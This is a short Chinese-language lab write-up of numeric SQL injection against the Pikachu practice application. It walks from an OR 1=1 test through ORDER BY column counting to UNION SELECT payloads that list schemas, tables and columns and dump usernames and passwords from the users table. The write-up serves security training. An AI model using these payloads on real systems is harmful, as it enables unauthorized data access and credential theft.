pikachu之sql lnjet 数字型注入

先选择个3 burp抓包看看再说抓完repeater

or 语句判断存在sql注入 or1=1--+

OR 1=1--+ 可以用来测试目标系统是否存在SQL注入漏洞。具体来说，这是因为OR 1=1语句始终为真，注释符号--+用于忽略后面的SQL代码。如果注入成功并且返回了预期的数据或行为变化，那么很可能目标系统存在SQL注入漏洞。

使用减法运算来判断是什么类型的注入

数字型

进一步进行判断字段数我们输入 

id=1 order by 1--+正常显示

id=1 order by 2--+正常显示

id=1 order by 3--+报错显示

所以可以得到2位

那么就开始查找select

id=1 union select 1，2 --+

继续进行下一步数据库查询

id=1 union select 1,(select group_concat(schema_name) from information_schema.schemata) --+

已经知道数据库了那么现在开始查找表

id=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())  --+

查字段

id=1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')  --+

id=1 UNION SELECT 1, (SELECT GROUP_CONCAT(username, 0x3a, password) FROM users)--+

 这条 SQL 查询用于通过 SQL 注入漏洞提取 users 表中的 username 和 password 列，并将它们连接成一个字符串，其中 0x3a 是十六进制表示的冒号 :